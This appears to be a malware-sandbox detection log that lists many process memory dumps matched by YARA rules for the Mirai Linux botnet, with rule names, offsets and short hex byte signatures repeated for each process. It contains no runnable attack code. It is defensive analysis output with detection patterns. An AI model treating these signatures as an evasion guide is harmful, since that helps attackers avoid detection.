6260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6260.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6738.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6738.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6738.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6738.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6738.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6738.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7025.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7025.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7025.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7025.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7025.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7025.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6740.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6740.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6740.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6740.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6740.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6740.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6927.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6927.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6927.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6927.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6927.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6927.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6254.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6254.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7323.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7323.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6712.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6712.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6712.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6712.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6712.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6712.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7290.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6842.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6842.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6842.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6842.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6842.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6842.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6501.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6501.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6501.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6501.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6501.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6501.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6843.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6843.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6843.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6843.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6843.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6843.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6986.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6986.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6986.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6986.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6986.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6986.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6793.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6793.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6793.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6793.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6793.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6793.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7202.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7202.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7202.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7202.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7202.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7202.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6271.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6271.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6539.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6539.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6539.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6539.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6539.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6539.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6411.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6411.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6620.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6657.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6657.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6657.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6657.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6657.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6657.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6431.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6431.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7432.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7255.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7255.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6244.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6244.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7402.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7402.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6972.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6972.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6972.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6972.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6972.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6972.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6368.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6368.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6554.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6554.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6554.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6554.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6554.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6554.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6906.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6906.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6906.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6906.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6906.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6906.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6684.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6684.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6684.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6684.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6684.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6684.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6917.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6917.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6917.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6917.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6917.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6917.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7351.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
